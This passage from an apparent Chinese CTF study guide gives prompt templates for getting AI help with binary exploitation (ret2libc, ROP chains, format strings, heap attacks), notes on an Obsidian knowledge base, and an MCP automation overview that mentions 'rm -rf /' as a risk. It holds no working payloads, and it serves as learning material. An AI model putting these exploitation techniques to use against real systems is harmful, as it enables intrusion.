2.%20如果有,写脚本泄露基址
3.%20计算目标函数的真实地址
4.%20完整的Exploit流程
ASLR绕过:
目标环境开启了ASLR,libc地址随机:
程序有:
-%20puts函数(可以用来泄露libc)
-%20read函数(可以多次输入)
请教我:
1.%20ret2libc的原理
2.%20如何通过泄露puts地址计算libc基址
3.%20如何找到system和"/bin/sh"的地址
4.%20完整的两步Exploit(先泄露,再利用)
技巧4:堆题目(高级)
堆溢出分析:
这是一道堆题目:
【粘贴程序代码】
程序功能:
-%20malloc/free/edit功能
-%20有【UAF/double%20free/堆溢出】漏洞
请帮我:
1.%20分析堆的布局
2.%20判断是哪种堆利用技术(fastbin%20attack/tcache/unsorted%20bin)
3.%20给出利用思路(劫持什么指针/构造什么堆块)
4.%20如果太复杂,给我学习路径(应该先学什么)
常见Pwn题型与AI提问策略
题型1:栈溢出(ret2text/ret2shellcode)
特征:
- •%20简单的gets/scanf/read溢出
- •%20无保护或只有NX
AI提问:
【上传文件或粘贴代码】
这是一个简单的栈溢出题:
保护:【checksec输出】
已知:
-%20溢出点在【函数名】
-%20程序里有【后门函数/system函数】
请写Exploit脚本:
1.%20计算偏移量(距离返回地址多远)
2.%20构造payload覆盖返回地址
3.%20如果需要调试,告诉我怎么用GDB验证偏移
题型2:格式化字符串漏洞
特征:
- •%20printf(buf)%20而不是%20printf(“%s”,%20buf)
AI提问:
程序有格式化字符串漏洞:
【粘贴漏洞代码】
我需要:
-%20泄露栈上的数据(找Canary/libc地址)
-%20或者任意地址写(改GOT表)
请教我:
1.%20格式化字符串的利用原理(%p、%n等)
2.%20如何确定偏移量(输入在栈的第几个位置)
3.%20写脚本泄露【目标】地址
4.%20如果要改写内存,如何构造payload
题型3:ROP(Return-Oriented%20Programming)
特征:
- •%20有NX保护,不能执行shellcode
- •%20需要通过gadgets构造ROP链
AI提问:
我需要用ROP绕过NX保护:
程序信息:
-%20架构:【x86/x64】
-%20Canary:%20No
-%20NX:%20Yes
-%20PIE:%20No
目标:【执行system("/bin/sh")/execve】
请帮我:
1.%20解释ROP的原理(新手视角)
2.%20应该找哪些gadgets(pop%20rdi;%20ret%20/%20syscall等)
3.%20用ROPgadget/ropper工具找gadgets的命令
4.%20构造完整的ROP链
5.%20给我pwntools脚本,用ROP()类构建
题型4:整数溢出/逻辑漏洞
特征:
- •%20没有明显的内存漏洞
- •%20需要通过逻辑错误利用
AI提问:
这个程序我没找到明显的内存漏洞:
【粘贴程序代码】
但是题目肯定有问题,可能是:
-%20整数溢出(负数/越界)
-%20逻辑漏洞(条件判断问题)
-%20Off-by-one
请帮我:
1.%20仔细审计代码,找出问题点
2.%20解释漏洞原理(为什么可以利用)
3.%20给出利用思路
4.%20如果需要特殊输入(负数/极大数),告诉我怎么构造
Pwn方向的进阶学习路径
第一阶段:基础理论(AI辅助学习)
问AI:
我想系统学习Pwn,但是完全零基础。
请给我一个7天学习计划:
第1天:【应该学什么概念/看什么资料】
第2天:【...】
...
第7天:【应该能做什么难度的题】
每天的学习内容要包含:
-%20理论知识(核心概念)
-%20实践练习(推荐题目或靶场)
-%20检验标准(怎么知道自己学会了)
请给我Markdown格式的详细计划
第二阶段:工具熟练(AI当教练)
工具使用模板:
教我如何使用【GDB+pwndbg/pwntools/ROPgadget】:
学习方式:
1.%20先给我一个简单的实战场景
2.%20一步步教我操作(带命令和预期输出)
3.%20解释每个命令在做什么
4.%20给我一个练习任务,我自己试试
我想真正掌握,不是只复制命令
第三阶段:刷题实战(AI辅助思路)
题目分析框架:
我在做Pwn题:【题目名】
我的分析流程:
1.%20checksec%20→%20【结果】
2.%20运行程序%20→%20【观察行为】
3.%20IDA分析%20→%20【主要函数逻辑】
4.%20我的判断%20→%20【漏洞类型/利用难度】
现在我卡在:【具体问题】
请帮我:
-%20验证我的分析是否正确
-%20给出下一步应该做什么
-%20如果方向错了,指出哪里想错了
Reverse%20&%20Pwn方向总结
Reverse方向
新手上手难度: ⭐⭐⭐⭐⭐ AI帮助程度: ⭐⭐⭐⭐⭐%20(Claude逆向神器) 学习路径:
第1-2天:学会用IDA/Ghidra,看懂反编译代码
第3-4天:识别常见算法(Base64/AES/TEA)
第5-6天:简单VM题目、简单混淆
第7天:尝试真实比赛题目
AI使用建议:
✅%20上传文件给Claude直接分析(核心技能)
✅%20反编译代码看不懂%20→%20AI逐行讲解
✅%20算法识别%20→%20AI对比已知算法
✅%20写逆向脚本%20→%20AI生成Python代码
✅%20Ghidra脚本%20→%20AI写自动化提取工具
Pwn方向
新手上手难度: ⭐⭐⭐⭐⭐%20(最难) AI帮助程度: ⭐⭐⭐⭐%20(学习神器,但需要基础) 学习路径:
第1周:理解栈/堆/寄存器,学会GDB调试
第2周:栈溢出基础(ret2text/ret2shellcode)
第3周:保护绕过(Canary/NX/PIE)
第4周:ROP链构造
之后:格式化字符串、堆利用(长期学习)
AI使用建议:
✅%20原理学习%20→%20AI当老师,讲概念+画图
✅%20找漏洞%20→%20AI分析代码,指出问题点
✅%20写Exploit%20→%20AI生成pwntools模板
✅%20调试问题%20→%20AI解释GDB输出,排查错误
✅%20绕过保护%20→%20AI给思路和案例
比赛中的Reverse/Pwn策略
⏰%20时间分配建议
【签到题阶段】(0-30分钟)
-%20Reverse签到题通常比Pwn简单
-%20先看Reverse,如果是明文/简单编码,AI秒解
【主攻阶段】(30分钟-2小时)
-%20❌%20不要碰Reverse/Pwn的难题
-%20✅%20优先做完Crypto/Web/Misc的中等题
【冲分阶段】(比赛后半程)
-%20✅%20其他方向做完了,再攻Reverse/Pwn
-%20✅%20选一道看起来有思路的,AI辅助尝试
-%20⚠️%20设定时间上限(单题不超过1小时)
【学习阶段】(比赛末尾)
-%20✅%20即使解不出来,跟着AI学习解题思路
-%20✅%20为以后积累经验
🎯%20题目选择策略
Reverse题目:
优先级:
1️⃣%20文件很小(<100KB)→%20可能逻辑简单
2️⃣%20题目名字有"简单"/"easy"/"签到"
3️⃣%20有源码的题目%20→%20AI分析源码比反编译快
避开:
❌%20文件>5MB%20→%20可能有大量混淆
❌%20标题有"VM"/"虚拟机"%20→%20新手噩梦
❌%20标题有"anti-debug"%20→%20坑很多
Pwn题目:
优先级:
1️⃣%20保护全关(No%20Canary/NX/PIE)→%20入门级
2️⃣%20有源码%20→%20AI直接分析源码找漏洞
3️⃣%20题目提示"栈溢出"/"格式化字符串"%20→%20已知漏洞类型
避开:
❌%20保护全开(Full%20RELRO%20+%20Canary%20+%20NX%20+%20PIE)
❌%20标题有"堆"/"heap"%20→%20需要深厚功底
❌%20标题有"沙箱"/"sandbox"%20→%20超纲
心态调整与学习建议
新手常见心理障碍
❌%20错误心态:
"Reverse/Pwn太难了,我永远学不会"
"别人都会,我什么都不懂,好挫败"
"花了2小时还没做出来,太笨了"
✅%20正确心态:
"Reverse/Pwn确实最难,但一步步来能学会"
"别人也是从零开始的,我只是入门晚"
"2小时能学到东西就是赚的,解不出来是正常的"
AI辅助学习的正确姿势
建议1:不要只复制代码
❌%20看到AI给的脚本,复制粘贴就跑
✅%20问AI:"这个脚本每一行在做什么?为什么要这样写?"
✅%20自己尝试修改脚本,理解原理
建议2:边做边问为什么
AI说:"这是TEA算法"
你问:"TEA算法为什么叫TEA?设计理念是什么?"
AI说:"用ROP绕过NX"
你问:"NX是怎么阻止shellcode执行的?ROP为什么能绕过?"
持续追问,直到真正理解
建议3:建立知识库
每做完一道题,让AI帮你总结:
"请帮我把这道题整理成笔记:
-%20题目类型和特征
-%20关键知识点
-%20常见坑点
-%20类似题目的通用解法
Markdown格式,我要保存到Notion/Obsidian"
小贴士:
- • Reverse:Claude的二进制分析能力真的强,多用上传文件功能
- • Pwn:pwntools%20+%20AI%20=%20学习加速器,但基础还是要自己打
- • 调试:GDB输出看不懂?截图给Claude,它能直接解释
- • 心态:这两个方向就是难,解不出来不丢人,学到东西就是胜利
- • 长期:Reverse/Pwn是CTF的天花板,慢慢学,急不来
四、效率倍增:AI批量下载题目附件与笔记整理
为什么需要批量下载?比赛中后期的”坐牢时刻”
典型场景:被卡住的无奈
比赛进行到2-3小时:
✅%20简单题做完了(Crypto签到、Web基础题)
❌%20剩下的题都太难,完全没思路
❌%20队友也在苦战,帮不上忙
⏰%20时间还很长,不想就这么放弃
这时候你在干什么?
❌%20盯着做不出来的题发呆
❌%20在群里水聊天
❌%20刷手机摸鱼
✅%20正确做法:把"坐牢时间"变成学习时间!
批量下载的核心价值
🎯%20短期价值(比赛中):
1.%20整理已有资料,为后续冲刺做准备
2.%20把题目保存本地,防止比赛结束后题目关闭
3.%20记录解题思路和AI对话,方便队友接力
4.%20保持"我还在努力"的心态,避免完全躺平
🎯%20长期价值(赛后):
1.%20建立个人CTF题库,积累经验
2.%20题目描述+附件+WP,完整复盘
3.%20知识库逐渐成长,成为你的"外置大脑"
4.%20下次比赛直接搜索笔记:"我见过类似的题!"
5.%20笔记够多后,可以喂给本地AI(RAG知识库)
哪些比赛支持批量下载?
有API接口的平台(推荐)
✅%20RHG类型比赛
%20 -%20通常提供Bot%20API
%20 -%20可以用脚本自动下载题目+附件
⚠️%20没有API的平台
%20 -%20只能手动下载,或者写爬虫(风险高)
%20 -%20建议:手动下载+AI辅助整理
使用AI编写批量下载脚本
第一步:分析平台接口
AI提问模板:
我在参加CTF比赛,想批量下载题目:
平台信息:
比赛方给的Bot接口文档信息,包含api地址,调用方式,你所在队伍的token
请帮我:
1.%20分析这个平台的API结构
2.%20判断是否可以用脚本批量下载
3.%20给我完整的Python脚本(包含登录/获取题目列表/下载附件)
image-20260105173250683
没有API?手动整理%20+%20AI辅助
手动下载的最佳实践
当平台不提供API时,不要写爬虫(可能违规):
✅%20正确做法:
1.%20手动下载每道题的附件
2.%20复制题目描述到文本文件
3.%20截图保存题目界面(尤其是在线靶场)
4.%20让AI帮你整理成统一格式
AI整理提问模板:
我手动下载了一些CTF题目,文件很乱:
当前状态:
-%20附件散落在下载文件夹
-%20题目描述复制在不同的txt文件
-%20截图保存在各处
-%20没有统一的命名规则
请帮我设计一个目录结构:
1.%20如何分类(按方向/按比赛/按难度)
2.%20文件命名规范
3.%20用什么格式保存题目信息(建议Markdown)
4.%20如何关联题目、附件、笔记、WP
最好给我一个批量重命名/整理的脚本
AI推荐的CTF知识库目录结构
标准目录树(Obsidian友好)
📁%20CTF-Knowledge-Base/%20 %20 %20 %20 %20 %20#%20根目录(Obsidian仓库)
│
├──%20📁%2000-Index/%20 %20 %20 %20 %20 %20 %20 %20 %20 #%20索引目录
│%20 %20├──%20📄%20README.md%20 %20 %20 %20 %20 %20 %20 #%20知识库使用说明
│%20 %20├──%20📄%20比赛记录.md%20 %20 %20 %20 %20 %20 %20#%20所有参加过的比赛列表
│%20 %20├──%20📄%20题目索引-按分类.md%20 %20 %20 #%20按Web/Crypto/Reverse分类
│%20 %20├──%20📄%20题目索引-按难度.md%20 %20 %20 #%20按简单/中等/困难分类
│%20 %20└──%20📄%20工具清单.md%20 %20 %20 %20 %20 %20 %20#%20常用工具和安装方法
│
├──%20📁%2001-Competitions/%20 %20 %20 %20 %20 %20#%20比赛记录
│%20 %20├──%20📁%202024-XX杯/
│%20 %20│%20 %20├──%20📄%20比赛总结.md%20 %20 %20 %20 %20#%20比赛回顾、得分、反思
│%20 %20│%20 %20├──%20📁%20Web/
│%20 %20│%20 %20│%20 %20├──%20📁%20简单的SQL注入/
│%20 %20│%20 %20│%20 %20│%20 %20├──%20📄%20README.md%20 %20#%20题目描述
│%20 %20│%20 %20│%20 %20│%20 %20├──%20📁%20attachments/%20#%20附件
│%20 %20│%20 %20│%20 %20│%20 %20├──%20📁%20screenshots/%20#%20截图
│%20 %20│%20 %20│%20 %20│%20 %20├──%20📁%20exploits/%20 %20 #%20自己写的脚本
│%20 %20│%20 %20│%20 %20│%20 %20└──%20📄%20writeup.md%20 %20#%20详细WP
│%20 %20│%20 %20│%20 %20└──%20...
│%20 %20│%20 %20├──%20📁%20Crypto/
│%20 %20│%20 %20├──%20📁%20Reverse/
│%20 %20│%20 %20└──%20📁%20AI-Conversations/%20 %20#%20AI对话记录(JSON或MD)
│%20 %20└──%20📁%202024-YY大赛/
│%20 %20 %20 %20└──%20...
│
├──%20📁%2002-Practice/%20 %20 %20 %20 %20 %20 %20 %20#%20平时练习题
│%20 %20├──%20📁%20BUUCTF/
│%20 %20├──%20📁%20攻防世界/
│%20 %20└──%20📁%20PicoCTF/
│
├──%20📁%2003-Knowledge/%20 %20 %20 %20 %20 %20 %20 #%20知识笔记
│%20 %20├──%20📁%20Web/
│%20 %20│%20 %20├──%20📄%20SQL注入原理.md
│%20 %20│%20 %20├──%20📄%20XSS绕过技巧合集.md
│%20 %20│%20 %20└──%20📄%20PHP反序列化.md
│%20 %20├──%20📁%20Crypto/
│%20 %20│%20 %20├──%20📄%20常见编码识别.md
│%20 %20│%20 %20├──%20📄%20RSA攻击方法.md
│%20 %20│%20 %20└──%20📄%20古典密码大全.md
│%20 %20├──%20📁%20Reverse/
│%20 %20├──%20📁%20Pwn/
│%20 %20└──%20📁%20Misc/
│
├──%20📁%2004-Tools/%20 %20 %20 %20 %20 %20 %20 %20 %20 #%20工具和脚本
│%20 %20├──%20📁%20scripts/%20 %20 %20 %20 %20 %20 %20 %20#%20自己写的工具脚本
│%20 %20│%20 %20├──%20📄%20批量下载.py
│%20 %20│%20 %20├──%20📄%20编码转换.py
│%20 %20│%20 %20└──%20📄%20Ghidra自动分析.py
│%20 %20└──%20📁%20configs/%20 %20 %20 %20 %20 %20 %20 %20#%20工具配置文件
│%20 %20 %20 %20├──%20📄%20.gdbinit
│%20 %20 %20 %20└──%20📄%20Burp配置.json
│
├──%20📁%2005-Resources/%20 %20 %20 %20 %20 %20 %20 #%20学习资源
│%20 %20├──%20📄%20推荐博客.md
│%20 %20├──%20📄%20视频教程.md
│%20 %20└──%20📄%20书籍推荐.md
│
└──%20📁%2006-Templates/%20 %20 %20 %20 %20 %20 %20 #%20模板文件
%20 %20├──%20📄%20题目模板.md
%20 %20├──%20📄%20WP模板.md
%20 %20└──%20📄%20比赛总结模板.md
WriteUp笔记的标准格式
模板1:详细WP(供学习回顾)
#%20[题目名称]
##%20元信息
- **比赛**:%20XX杯%202024
- **分类**:%20Web%20/%20Crypto%20/%20Reverse%20/%20Pwn%20/%20Misc
- **分值**:%20200
- **难度**:%20⭐⭐⭐%20(1-5星)
- **解题时间**:%2045分钟
- **是否一血**:%20❌
- **解题人数**:%20123/500
##%20题目描述
【原始题目描述】
##%20附件信息
- 文件1: `vuln.zip` (123KB)
- 文件2: `source.php` (5KB)
- 在线靶场:%20http://xxx.xxx.xxx:8080
##%20初步分析
【第一眼看到题目时的思考】
- 文件类型:【file命令结果】
- 可疑点:【strings输出/代码片段】
- 可能的方向:【猜测题目类型】
##%20解题过程
###%20思路1:【尝试的第一个方向】
【详细描述】
**遇到的问题:**
- 【问题1】
- 【问题2】
**为什么失败:**
【分析原因】
###%20思路2:【正确的解题方向】
【详细步骤】
####%20Step%201:%20【子步骤】
**输出:**
**分析:**
【对输出的理解】
####%20Step%202:%20【关键突破】
**为什么这样写:**
【解释原理】
###%20AI辅助部分
【如果用了AI,记录对话】
**提问:**
【给AI的问题】
**AI回答:**
**实际效果:**
【AI建议是否有效】
##%20最终Exploit
##%20Flag
##%20知识点总结
###%20核心技术
- 【技术点1】:【原理】
- 【技术点2】:【原理】
###%20新学到的东西
- 【之前不会,这次学到的】
###%20踩过的坑
- 【坑1】:【原因和解决方法】
- 【坑2】:【原因和解决方法】
###%20相关题目
- [[类似题目1]]%20(内部链接)
- [[类似题目2]]
##%20参考资料
- [相关博客](URL)
- [官方WP](URL)
##%20后续TODO
- [%20]%20深入学习【某个不懂的知识点】
- [%20]%20尝试其他解法
- [%20]%20写一篇博客分享
---
**创建时间**:%202024-01-05%2014:30
**最后修改**:%202024-01-05%2018:20
**标签**: #SQL注入 #WAF绕过 #Web安全
模板2:快速笔记(比赛中记录)
#%20[题目名称]%20-%20快速笔记
##%20基本信息
- 分类:%20Web
- 分值:%20200
- 开始时间:%2014:30
##%20现状
- [%20]%20题目理解
- [x]%20基础分析
- [%20]%20找到漏洞
- [%20]%20编写Exploit
- [%20]%20拿到Flag
##%20当前思路
【正在尝试的方法】
##%20卡点
【遇到什么问题】
##%20待尝试
- [%20]%20方法1
- [%20]%20方法2
##%20AI对话
【粘贴关键对话】
##%20临时笔记
【随手记录的信息】
⚠️%20这是比赛中的临时笔记,赛后需要整理成完整WP
Obsidian使用技巧(AI推荐)
为什么选择Obsidian?
✅%20纯Markdown,便于版本控制(Git)
✅%20双向链接,构建知识网络
✅%20全局搜索,快速定位
✅%20插件丰富(Dataview/Excalidraw/Kanban)
✅%20本地存储,隐私安全
✅%20可以当知识库喂给本地AI(RAG)
❌%20VSCode的问题:
-%20更适合项目代码,不适合长期笔记
-%20搜索功能不如专业笔记软件
-%20没有双向链接和知识图谱
核心功能配置(AI辅助)
问AI生成Obsidian配置:
我要用Obsidian管理CTF笔记:
需求:
1.%20快速创建题目笔记(用模板)
2.%20通过标签快速筛选(#SQL注入 #ROP等)
3.%20全局搜索关键词(比如"TEA算法")
4.%20可视化知识图谱(看题目之间的关联)
5.%20支持代码高亮
请推荐:
1.%20必装的插件(名称+功能)
2.%20如何设置模板
3.%20标签体系设计(不要太复杂)
4.%20搜索技巧(正则/高级语法)
推荐的插件清单:
必装:
-%20Templater:%20自动化模板插入
-%20Dataview:%20自动生成题目索引表
-%20Advanced%20Tables:%20编辑表格
-%20Excalidraw:%20画图(画内存布局/ROP链)
可选:
-%20Kanban:%20管理学习进度
-%20Calendar:%20查看每天刷题记录
-%20Mind%20Map:%20知识点思维导图
知识库的高级玩法:喂给AI
场景:笔记足够多后(50+题目)
本地RAG(检索增强生成):
工具链:
1.%20Obsidian笔记%20→%20Markdown文件
2.%20LangChain%20/%20LlamaIndex%20→%20向量化
3.%20本地大模型(Ollama)%20→%20推理
实现效果:
"我:这道题好像见过类似的"
"AI(基于你的笔记库):是的,你在XX杯做过类似题,
%20 %20当时的思路是【从你的WP中提取】,
%20 %20工具用的是【从你的笔记提取】"
配置教程:
问AI:"如何用LangChain%20+%20Ollama搭建本地知识库问答系统?
%20 %20 %20 我的笔记在Obsidian中,格式是Markdown"
比赛中的实战用法
全局搜索快速定位:
场景1:遇到TEA加密
Obsidian搜索:%20"TEA"%20或%20"#TEA加密"
立刻找到之前做过的题%20+%20解题脚本
场景2:忘记pwntools语法
搜索:%20"pwntools"%20+%20"ROP"
找到之前写过的Exploit模板
场景3:想不起某个工具命令
搜索:%20"StegSolve"%20或%20"Volatility"
找到之前整理的工具笔记
整理笔记的时间规划
比赛中(实时整理)
✅%20简单题做完立刻记:
-%20花5分钟写快速笔记
-%20记录关键命令/脚本
-%20保存AI对话记录
✅%20卡住的时候整理:
-%20把"坐牢时间"变成整理时间
-%20下载题目附件
-%20复制题目描述
-%20截图保存界面
❌%20不要边做题边写详细WP
-%20影响比赛节奏
-%20简单记录即可
赛后(深度整理)
⏰%20比赛结束后24小时内(记忆最清晰):
1.%20整理已解出的题(1-2小时)
%20 -%20把快速笔记扩展成完整WP
%20 -%20补充思路和知识点
%20 -%20整理代码和脚本
2.%20复盘未解出的题(2-3小时)
%20 -%20看别人的WP
%20 -%20跟着AI重新做一遍
%20 -%20记录"为什么当时没想到"
3.%20知识点提炼(30分钟)
%20 -%20把新学的知识整理成专题笔记
%20 -%20更新工具清单
%20 -%20更新索引文件
总结:从”坐牢”到”积累”
心态转变
❌%20消极:"题目太难了,坐牢中,好无聊"
✅%20积极:"反正做不出来,整理笔记也是进步"
长期价值:
-%20第1次比赛:笔记10道题
-%20第3次比赛:笔记50道题%20→%20开始能搜到相似题
-%20第10次比赛:笔记200道题%20→%20知识库初具规模
-%201年后:笔记500+道题%20→%20你的外置大脑
实战清单
比赛中期(题目做完了/卡住了):
✅%20打开下载脚本,批量保存题目
✅%20手动下载没做的题的附件
✅%20复制所有题目描述
✅%20截图保存在线靶场界面
✅%20导出AI对话记录
✅%20写简单的快速笔记
赛后24小时内:
✅%20扩展快速笔记为完整WP
✅%20看官方WP,补充未解出的题
✅%20提炼知识点,更新专题笔记
✅%20运行索引生成脚本
✅%20把新学的工具加入清单
每月一次:
✅%20回顾本月所有比赛
✅%20总结高频考点
✅%20更新知识图谱
✅%20清理重复/过时的笔记
小贴士:
- •%20批量下载脚本用AI写,5分钟搞定,别自己从零开始
- •%20Obsidian的搜索功能是神器,善用
tag:#XXX和正则 - •%20笔记不求完美,能帮自己快速回忆就够了
- •%20知识库是长期工程,不要指望一个月就见效
- •%20比赛结束不是终点,整理笔记才是开始
五、进阶展望:MCP平台简介
MCP是什么?为什么值得关注
Model%20Context%20Protocol基本概念
MCP(Model%20Context%20Protocol)是什么?
简单理解:
❌%20不是:一个新的AI模型
❌%20不是:一个聊天软件
✅%20是:一个让AI能"动手干活"的协议标准
类比:
-%20普通AI对话%20=%20你问AI,AI用嘴回答
-%20MCP%20=%20你问AI,AI不仅回答,还能动手操作
%20(读文件、运行代码、调用工具、访问数据库...)
官方定义:
MCP是Anthropic开发的开放协议,允许AI助手
安全地连接到本地和远程的数据源和工具。
与普通AI对话的区别
对比表:
|%20维度%20|%20普通AI对话%20|%20MCP模式%20| |%20—%20|%20—%20|%20—%20| |%20交互方式%20|%20你问%20→%20AI答%20|%20你问%20→%20AI调用工具%20→%20返回结果%20| |%20AI能力%20|%20只能生成文本/代码%20|%20能执行代码、读写文件、调用API%20| |%20数据访问%20|%20仅限对话内容%20|%20可访问本地文件、数据库、API%20| |%20工具使用%20|%20AI告诉你怎么用工具%20|%20AI直接帮你用工具%20| |%20自动化%20|%20需要人工复制粘贴%20|%20全程自动化%20|
实际例子:
场景:CTF逆向题分析
【普通AI对话】
你:这个二进制文件是什么?
AI:你可以用file命令查看,然后用strings提取字符串...
你:(手动执行命令)file%20crackme
你:(复制输出)ELF%2064-bit...
AI:看起来是Linux程序,你可以用IDA打开...
你:(手动操作IDA,又回来问AI)
【MCP模式】
你:这个二进制文件是什么?分析一下
AI:(自动执行)file%20crackme
AI:(自动执行)strings%20crackme%20|%20grep%20flag
AI:(自动执行)objdump%20-d%20crackme
AI:(综合分析后直接告诉你结果和解题思路)
省去了所有"复制-粘贴-切换窗口"的步骤!
在CTF中的潜在应用
🎯%20自动化解题流程:
1.%20AI自动下载题目附件
2.%20AI自动识别文件类型
3.%20AI自动调用分析工具(binwalk/strings/Wireshark)
4.%20AI自动编写和运行解题脚本
5.%20AI自动提交flag并记录
🎯%20多工具协同:
-%20连接本地工具链(IDA/GDB/Burp/Wireshark)
-%20访问本地笔记库(Obsidian%20RAG)
-%20调用在线API(VirusTotal/Shodan)
🎯%20知识库增强:
-%20读取本地WP笔记
-%20搜索历史题目
-%20自动关联相似题型
-%20动态更新知识库
🎯%20完全自动化比赛(黑客松场景):
-%20AI从头到尾解题,人类不干预
-%20适用于纯AI比赛(如腾讯黑客松)
MCP的能力边界
可以做什么(已经实现)
image-20260105173427128
✅%20文件系统操作:
-%20读写本地文件
-%20遍历目录
-%20执行shell命令
✅%20代码执行:
-%20运行Python/JavaScript脚本
-%20调用系统工具
-%20管理进程
✅%20数据库访问:
-%20查询SQLite/PostgreSQL
-%20读取笔记库(Obsidian)
-%20向量数据库(RAG)
✅%20API集成:
-%20GitHub操作(提交代码)
-%20Slack通知
-%20Google%20Drive文件
-%20自定义REST%20API
✅%20浏览器控制(实验性):
-%20Puppeteer操控
-%20爬取网页
-%20自动填表
✅%20Docker管理:
-%20启动/停止容器
-%20执行容器内命令
-%20管理镜像
目前的局限(需注意)
❌%20安全风险:
-%20AI可能执行危险命令(rm%20-rf%20/)
-%20需要严格的权限控制
-%20建议在虚拟机/容器中运行
❌%20稳定性问题:
-%20MCP协议还在快速迭代
-%20部分工具兼容性不完善
-%20可能出现意外错误
❌%20成本考量:
-%20需要AI%20API调用(Claude/GPT)
-%20大量工具调用会产生较高费用
-%20本地模型(Ollama)能力较弱
❌%20复杂度高:
-%20配置学习曲线陡峭
-%20需要理解JSON-RPC协议
-%20调试困难
❌%20并非万能:
-%20复杂的人类直觉判断还是需要人工
-%20新型/非常规题型AI可能搞不定
-%20某些GUI操作不如人类灵活
学习路线图
前置知识要求
必备技能(缺一不可):
✅%20Linux基础命令(cd/ls/chmod/curl等)
✅%20Python编程(能看懂和修改脚本)
✅%20JSON格式理解
✅%20Docker基础(build/run/exec)
✅%20API调用概念(REST/HTTP)
✅%20环境变量配置(export/PATH)
加分项(有更好):
✅%20Node.js/TypeScript(部分MCP服务器用)
✅%20系统架构理解(客户端-服务器模型)
✅%20Claude%20API使用经验
✅%20VS%20Code扩展开发
时间投入估算:
-%20零基础%20→%20能用:40-60小时
-%20有基础%20→%20能用:10-20小时
-%20能用%20→%20精通:50-100小时
推荐学习资源
官方资源(必读):
📘%20MCP官方文档:
https://modelcontextprotocol.io/introduction
📘%20官方GitHub:
https://github.com/modelcontextprotocol
📘%20快速开始指南:
https://modelcontextprotocol.io/quickstart
📘%20已有的MCP服务器列表:
https://github.com/modelcontextprotocol/servers
📘%20Claude.ai官网(内置工具,网页对话就能用):
https://claude.ai
📘%20Anthropic开发者文档:
https://docs.anthropic.com
社区资源(推荐):
🌐%20Discord社区:
https://discord.gg/modelcontextprotocol
🌐%20Reddit讨论:
r/ClaudeAI(搜索MCP相关帖子)
📺%20YouTube教程:
搜索%20"MCP%20Claude%20tutorial"%20/%20"Model%20Context%20Protocol"
📝%20博客文章:
-%20Anthropic官方博客
-%20Simon%20Willison's博客(MCP深度分析)
中文资源(如果有):
问AI:
"请帮我找MCP(Model%20Context%20Protocol)的中文学习资源:
-%20中文教程
-%20B站视频
-%20知乎/CSDN文章
-%20微信公众号推荐"
7天速成计划(理想情况)
Day%201:概念理解
-%20阅读官方文档Introduction
-%20理解MCP架构(客户端-服务器-AI)
-%20看一个完整的Demo视频
Day%202:环境搭建
-%20安装Claude%20Desktop%20/%20Cursor
-%20配置第一个MCP服务器(文件系统)
-%20测试基本交互
Day%203:实战练习
-%20使用MCP读取本地文件
-%20让AI执行简单命令
-%20理解配置文件结构
Day%204:工具集成
-%20配置GitHub%20MCP服务器
-%20配置Puppeteer(浏览器控制)
-%20理解多服务器协同
Day%205:CTF场景应用
-%20配置CTF相关工具(binwalk/strings)
-%20让AI自动分析题目附件
-%20测试解题自动化
Day%206:安全加固
-%20在虚拟机/Docker中运行
-%20配置权限限制
-%20测试危险命令拦截
Day%207:综合实战
-%20搭建完整的自动化解题环境
-%20用真实CTF题目测试
-%20优化工作流
⚠️%20现实情况:
这个计划很理想,实际可能需要2-3周
中间会遇到各种Bug和配置问题
建议边学边问AI,不要死磕
为什么本指南不详细展开
❌%2024小时内无法掌握MCP的原因:
1.%20配置复杂度高
%20 -%20需要安装多个组件
%20 -%20配置文件语法严格
%20 -%20调试困难,报错不友好
2.%20前置知识要求高
%20 -%20Docker/API/JSON等概念
%20 -%20需要理解系统架构
%20 -%20不是"复制粘贴"就能用
3.%20稳定性和兼容性问题
%20 -%20协议还在快速迭代
%20 -%20不同平台配置差异大
%20 -%20可能遇到各种奇怪Bug
4.%20性价比考量
%20 -%20对于新手,普通AI对话已经够用
%20 -%20MCP的优势在自动化,新手先学基础
%20 -%20投入时间%20vs%20比赛收益不成正比
5.%20安全风险
%20 -%20AI执行命令可能误删文件
%20 -%20需要在隔离环境测试
%20 -%20新手容易配错权限
✅%20本指南的定位:
-%20让你知道MCP存在
-%20理解它能做什么
-%20给出学习方向
-%20但不期望24小时内掌握
✅%20推荐学习时机:
-%20完成3-5场CTF比赛后
-%20熟练使用普通AI辅助解题
-%20有明确的自动化需求
-%20有时间深入学习(至少1周)
MCP基础配置指南
环境选择:Claude%20Desktop%20vs%20Cursor%20vs%20Claude%20CLI
方案对比:
【Claude%20Desktop】(最简单)
-%20官方应用,配置最友好
-%20图形界面,适合新手
-%20支持的MCP服务器最多
-%20下载:https://claude.ai/download
【Cursor】(编程友好)
-%20IDE环境,适合写代码
-%20内置Claude,支持MCP
-%20适合CTF脚本开发
-%20下载:https://cursor.com
【Claude%20CLI】(终端高手)
-%20命令行工具,极客最爱
-%20适合自动化脚本
-%20配置最灵活
-%20需要配置API%20Key
纯AI自动化比赛场景(如腾讯黑客松)
什么是”纯AI比赛”?
规则特点:
❌%20不允许人工干预
✅%20AI从头到尾自主解题
✅%20AI自己下载题目
✅%20AI自己分析附件
✅%20AI自己编写脚本
✅%20AI自己提交flag
代表赛事:
-%20腾讯黑客松(AI赛道)
-%20各类"AI%20CTF"比赛
-%20未来可能成为主流形式
技术架构:
AI%20Agent%20+%20MCP%20+%20工具链%20+%20自动化脚本
完整自动化工作流设计
架构图:
┌─────────────────────────────────────────┐
│%20 Claude%20API%20/%20GPT-4%20API%20/%20本地模型%20 %20 %20 %20│
│%20 (大脑:决策和规划)%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
└──────────────┬──────────────────────────┘
%20 %20 %20 %20 %20 %20 %20 │
%20 %20 %20 %20 %20 %20 %20 ▼
┌─────────────────────────────────────────┐
│%20 MCP%20Hub(协调中心)%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20│
│%20 -%20接收AI指令%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
│%20 -%20调度工具执行%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
│%20 -%20汇总结果返回%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 │
└──────────────┬──────────────────────────┘
%20 %20 %20 %20 %20 %20 %20 │
%20 %20┌──────────┴───────────┬──────────┐
